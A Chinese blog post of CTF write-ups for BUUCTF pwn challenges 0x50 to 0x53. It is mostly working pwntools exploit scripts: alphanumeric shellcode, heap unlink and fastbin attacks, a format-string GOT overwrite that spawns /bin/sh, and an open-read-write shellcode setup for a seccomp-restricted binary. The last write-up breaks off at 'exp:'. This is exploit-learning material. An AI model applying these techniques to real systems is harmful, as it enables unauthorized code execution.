<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      BUU_PWN刷题_0x50-0x5F 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        BUU_PWN刷题_0x50-0x5F
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-12-08
      </span>

                                                                        <span class="post-pubtime"> 本文共3.6k字 </span>

                                                                        <span class="post-pubtime">
        大约需要32min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<h1 id="0x50-mrctf2020-shellcode-revenge（可见字符shellcode）"><a href="#0x50-mrctf2020-shellcode-revenge（可见字符shellcode）" class="headerlink" title="0x50.mrctf2020_shellcode_revenge（可见字符shellcode）"></a>0x50.mrctf2020_shellcode_revenge（可见字符shellcode）</h1><p>因为call的缘故，没办法f5.</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec mrctf2020_shellcode_revenge </span><br><span class="line">[*] <span class="string">&#x27;/home/gwt/Desktop/mrctf2020_shellcode_revenge&#x27;</span></span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line">    RWX:      Has RWX segments</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>大致流程:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Show me your magic!\n&quot;</span>);</span><br><span class="line">buf = read(<span class="number">0x400</span>)</span><br><span class="line"><span class="keyword">if</span>(!(<span class="number">0x60</span>&lt;<span class="built_in">input</span>[i]&lt;<span class="number">0x7A</span> || <span class="number">0x2F</span>&lt;<span class="built_in">input</span>[i]&lt;ox5A)</span><br><span class="line">	<span class="built_in">print</span>(<span class="string">&quot;I Can&#x27;t Read This!&quot;</span>)</span><br><span class="line">buf()</span><br></pre></td></tr></table></figure>

<p>于是：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/TaQini/alpha3.git</span><br><span class="line"><span class="built_in">cd</span> alpha3</span><br><span class="line">//需要先生成普通的shellcode</span><br><span class="line">vim sc.py</span><br></pre></td></tr></table></figure>

<p>sc.py中写：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.arch=<span class="string">&#x27;amd64&#x27;</span><span class="comment">#这里用64位平台做示例</span></span><br><span class="line">sc = shellcraft.sh()<span class="comment">#这里用shell做示例</span></span><br><span class="line"><span class="built_in">print</span> asm(sc)</span><br></pre></td></tr></table></figure>

<p>之后写到shellcode中：<code>python sc.py &gt; shellcode</code></p>
<p>然后：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/alpha3$ python ALPHA3.py x64 ascii mixedcase rax --input=<span class="string">&quot;../shellcode&quot;</span></span><br><span class="line">Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00</span><br></pre></td></tr></table></figure>

<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># context(arch=&#x27;amd64&#x27;,os=&#x27;linux&#x27;)</span></span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&quot;mrctf2020_shellcode_revenge&quot;</span>)</span><br><span class="line"><span class="comment"># io = remote(&quot;node4.buuoj.cn&quot;,29596)</span></span><br><span class="line">payload = <span class="string">&quot;Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N&quot;</span></span><br><span class="line"></span><br><span class="line">io.recv()</span><br><span class="line">io.send(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x51-hitcontraining-unlink（unlink）"><a href="#0x51-hitcontraining-unlink（unlink）" class="headerlink" title="0x51.hitcontraining_unlink（unlink）"></a>0x51.hitcontraining_unlink（unlink）</h1><p>没开PIE</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec bamboobox </span><br><span class="line">[*] <span class="string">&#x27;/home/gwt/Desktop/bamboobox&#x27;</span></span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure>

<p>edit中对输入的长度没有做检查：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">change_item</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+4h] [rbp-2Ch]</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [rsp+8h] [rbp-28h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">16</span>]; <span class="comment">// [rsp+10h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> nptr[<span class="number">8</span>]; <span class="comment">// [rsp+20h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v5; <span class="comment">// [rsp+28h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( num )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Please enter the index of item:&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">    v1 = atoi(buf);</span><br><span class="line">    <span class="keyword">if</span> ( *&amp;itemlist[<span class="number">4</span> * v1 + <span class="number">2</span>] )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Please enter the length of item name:&quot;</span>);</span><br><span class="line">      read(<span class="number">0</span>, nptr, <span class="number">8uLL</span>);</span><br><span class="line">      v2 = atoi(nptr);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Please enter the new name of the item:&quot;</span>);</span><br><span class="line">      *(*&amp;itemlist[<span class="number">4</span> * v1 + <span class="number">2</span>] + read(<span class="number">0</span>, *&amp;itemlist[<span class="number">4</span> * v1 + <span class="number">2</span>], v2)) = <span class="number">0</span>;<span class="comment">//这里直接是按照输入的来读取</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;invaild index&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;No item in the box&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>delete没有问题</p>
<h2 id="解法一（对buu无用）"><a href="#解法一（对buu无用）" class="headerlink" title="解法一（对buu无用）"></a>解法一（对buu无用）</h2><p>fastbin attack</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">add(<span class="number">0x21</span>,<span class="string">&#x27;AAAAA&#x27;</span>)<span class="comment">#0  </span></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&#x27;BBBBB&#x27;</span>)<span class="comment">#1  </span></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&#x27;CCCC&#x27;</span>) <span class="comment">#2</span></span><br><span class="line"><span class="comment">#为了溢出修改1</span></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">delete(<span class="number">1</span>) <span class="comment">#fastbin -&gt; 1 -&gt; 2</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;A&#x27;</span>*<span class="number">0x28</span>+p64(<span class="number">0x21</span>) <span class="comment">#修改1的fd指针，指向main开始时申请的内存地址</span></span><br><span class="line">edit(<span class="number">0</span>,<span class="built_in">len</span>(payload),payload) </span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">&#x27;AAA&#x27;</span>)   </span><br><span class="line">    </span><br><span class="line">backdoor = <span class="number">0x0400D49</span> </span><br><span class="line">add(<span class="number">0x18</span>,p64(<span class="number">0</span>)+p64(backdoor))  <span class="comment">#将其第二个指针修改为backdoor的地址.</span></span><br><span class="line">p.sendlineafter(<span class="string">&#x27;Your choice:&#x27;</span>,<span class="string">&#x27;5&#x27;</span>)</span><br></pre></td></tr></table></figure>

<h2 id="解法二"><a href="#解法二" class="headerlink" title="解法二"></a>解法二</h2><p>unlink</p>
<blockquote>
<h3 id="条件"><a href="#条件" class="headerlink" title="条件"></a>条件</h3><ol>
<li>UAF ，可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针</li>
<li>已知位置存在一个指针指向可进行 UAF 的 chunk</li>
</ol>
<h3 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h3><p>  使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18</p>
<h3 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h3><p>  设指向可 UAF chunk 的指针的地址为 ptr</p>
<ol>
<li>修改 fd 为 ptr - 0x18</li>
<li>修改 bk 为 ptr - 0x10</li>
<li>触发 unlink</li>
</ol>
<p>  ptr 处的指针会变为 ptr - 0x18。</p>
</blockquote>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># p = process(&#x27;./bamboobox&#x27;)</span></span><br><span class="line">p = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26791</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./bamboobox&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">size,content</span>):</span></span><br><span class="line">    p.sendlineafter(<span class="string">&#x27;Your choice:&#x27;</span>,<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">&#x27;name:&#x27;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">    p.sendafter(<span class="string">&#x27;item:&#x27;</span>,content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>():</span></span><br><span class="line">    p.sendlineafter(<span class="string">&#x27;Your choice:&#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>(<span class="params">idx,size,content</span>):</span></span><br><span class="line">    p.sendlineafter(<span class="string">&#x27;Your choice:&#x27;</span>,<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">    p.sendafter(<span class="string">&#x27;item:&#x27;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line">    p.sendlineafter(<span class="string">&#x27;name:&#x27;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">    p.sendafter(<span class="string">&#x27;item:&#x27;</span>,content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span>(<span class="params">idx</span>):</span></span><br><span class="line">    p.sendlineafter(<span class="string">&#x27;Your choice:&#x27;</span>,<span class="string">&#x27;4&#x27;</span>)</span><br><span class="line">    p.sendafter(<span class="string">&#x27;item:&#x27;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">itemlist0_ptr = <span class="number">0x6020C0</span>+<span class="number">8</span></span><br><span class="line"></span><br><span class="line">add(<span class="number">0x40</span>,<span class="string">&#x27;A&#x27;</span> * <span class="number">8</span>)<span class="comment">#0</span></span><br><span class="line">add(<span class="number">0x80</span>,<span class="string">&#x27;B&#x27;</span> * <span class="number">8</span>)<span class="comment">#1</span></span><br><span class="line">add(<span class="number">0x80</span>,<span class="string">&#x27;C&#x27;</span> * <span class="number">8</span>)<span class="comment">#2</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)</span></span><br><span class="line">fake_chunk =  p64(<span class="number">0</span>) + p64(<span class="number">0x41</span>)  <span class="comment">#fake_chunk header</span></span><br><span class="line">fake_chunk += p64(itemlist0_ptr-<span class="number">0x18</span>) + p64(itemlist0_ptr-<span class="number">0x10</span>) <span class="comment">#fake_chunk fd  bk</span></span><br><span class="line">fake_chunk += <span class="string">&#x27;C&#x27;</span>*<span class="number">0x20</span></span><br><span class="line">fake_chunk += p64(<span class="number">0x40</span>) <span class="comment"># 1的presize </span></span><br><span class="line">fake_chunk += p64(<span class="number">0x90</span>) <span class="comment"># 1的size</span></span><br><span class="line">edit(<span class="number">0</span>,<span class="number">0x80</span>,fake_chunk)</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">这里用p指代itemlist0_ptr</span></span><br><span class="line"><span class="string">FD = p -&gt; fd = p - 0x18</span></span><br><span class="line"><span class="string">BK = p -&gt; bk = p - 0x10</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">FD -&gt; bk = p</span></span><br><span class="line"><span class="string">BK -&gt; fd = p</span></span><br><span class="line"><span class="string">#通过检查</span></span><br><span class="line"><span class="string">FD -&gt; bk = BK 相当于  *(p) = p-0x10</span></span><br><span class="line"><span class="string">BK -&gt; fd = FD 相当于  *(p) = p-0x18</span></span><br><span class="line"><span class="string">我们把p的值改为了p的地址-0x18,使得p的值不再是堆的地址，而是itemlist附近的地址。</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">delete(<span class="number">1</span>)  <span class="comment">#前向合并，合并0中的fake_chunk  放入 unsorted bin 中 ,同时 itemlist0_ptr = &amp;itemlist0_ptr -0x18</span></span><br><span class="line"></span><br><span class="line">payload = p64(<span class="number">0</span>) * <span class="number">2</span></span><br><span class="line">payload += p64(<span class="number">0x40</span>) + p64(elf.got[<span class="string">&#x27;atoi&#x27;</span>]) <span class="comment">#覆盖的itemlist[0]-&gt;ptr 为atoi_got</span></span><br><span class="line">edit(<span class="number">0</span>,<span class="number">0x80</span>,payload)</span><br><span class="line">show()</span><br><span class="line">p.recvuntil(<span class="string">&#x27;0 : &#x27;</span>)</span><br><span class="line">atoi = u64(p.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">libc_base = atoi - libc.symbols[<span class="string">&#x27;atoi&#x27;</span>]</span><br><span class="line">system = libc_base + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">edit(<span class="number">0</span>,<span class="number">8</span>,p64(system))</span><br><span class="line">p.sendlineafter(<span class="string">&#x27;Your choice:&#x27;</span>,<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<p>上面exp写的很详细了。</p>
<blockquote>
<p>  <a target="_blank" rel="noopener" href="https://www.cnblogs.com/Rookle/p/12942229.html">https://www.cnblogs.com/Rookle/p/12942229.html</a></p>
</blockquote>
<h1 id="0x52-inndy-echo-fmt-str"><a href="#0x52-inndy-echo-fmt-str" class="headerlink" title="0x52.inndy_echo(fmt_str)"></a>0x52.inndy_echo(fmt_str)</h1><p>很明显的格式化字符串</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ ./<span class="built_in">echo</span> </span><br><span class="line">aaaa %p %p %p %p %p %p %p %p %p </span><br><span class="line">aaaa 0x100 0xf7f695a0 (nil) 0xf7faf000 0x80482e7 0xf63d4e2e 0x61616161 0x20702520 0x25207025</span><br></pre></td></tr></table></figure>

<p>第七个</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># io = process(&quot;./echo&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">29402</span>)</span><br><span class="line">elf=ELF(<span class="string">&quot;./echo&quot;</span>)</span><br><span class="line"></span><br><span class="line">printf_got=elf.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">system_plt=elf.plt[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload=fmtstr_payload(<span class="number">7</span>,&#123;printf_got:system_plt&#125;)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.sendline(<span class="string">&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x53-极客大挑战-2019-Not-Bad-ret2shellcode"><a href="#0x53-极客大挑战-2019-Not-Bad-ret2shellcode" class="headerlink" title="0x53.[极客大挑战 2019]Not Bad(ret2shellcode)"></a>0x53.[极客大挑战 2019]Not Bad(ret2shellcode)</h1><p>有0x18的溢出，buf只有0x20大小不够写栈迁移的rop。</p>
<p>程序在一开始：<code>mmap(0x123000, 0x1000uLL, 6, 34, -1, 0LL);</code></p>
<p>所以接下来：在这里写shellcode，跳过来执行</p>
<p>查看系统调用：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ seccomp-tools dump ./bad</span><br><span class="line"> line  CODE  JT   JF      K</span><br><span class="line">=================================</span><br><span class="line"> 0000: 0x20 0x00 0x00 0x00000004  A = arch</span><br><span class="line"> 0001: 0x15 0x00 0x08 0xc000003e  <span class="keyword">if</span> (A != ARCH_X86_64) goto 0010</span><br><span class="line"> 0002: 0x20 0x00 0x00 0x00000000  A = sys_number</span><br><span class="line"> 0003: 0x35 0x00 0x01 0x40000000  <span class="keyword">if</span> (A &lt; 0x40000000) goto 0005</span><br><span class="line"> 0004: 0x15 0x00 0x05 0xffffffff  <span class="keyword">if</span> (A != 0xffffffff) goto 0010</span><br><span class="line"> 0005: 0x15 0x03 0x00 0x00000000  <span class="keyword">if</span> (A == <span class="built_in">read</span>) goto 0009</span><br><span class="line"> 0006: 0x15 0x02 0x00 0x00000001  <span class="keyword">if</span> (A == write) goto 0009</span><br><span class="line"> 0007: 0x15 0x01 0x00 0x00000002  <span class="keyword">if</span> (A == open) goto 0009</span><br><span class="line"> 0008: 0x15 0x00 0x01 0x0000003c  <span class="keyword">if</span> (A != <span class="built_in">exit</span>) goto 0010</span><br><span class="line"> 0009: 0x06 0x00 0x00 0x7fff0000  <span class="built_in">return</span> ALLOW</span><br><span class="line"> 0010: 0x06 0x00 0x00 0x00000000  <span class="built_in">return</span> KILL</span><br></pre></td></tr></table></figure>

<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">orw_payload=shellcraft.<span class="built_in">open</span>(<span class="string">&#x27;./flag&#x27;</span>)           <span class="comment">#打开根目录下的flag文件</span></span><br><span class="line">orw_payload+=shellcraft.read(<span class="number">3</span>,mmap,<span class="number">0x50</span>)       <span class="comment">#读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里</span></span><br><span class="line">orw_payload+=shellcraft.write(<span class="number">1</span>,mmap,<span class="number">0x50</span>)      <span class="comment">#将mmap地址上的内容输出0x50个字节</span></span><br></pre></td></tr></table></figure>

<p>exp:</p>
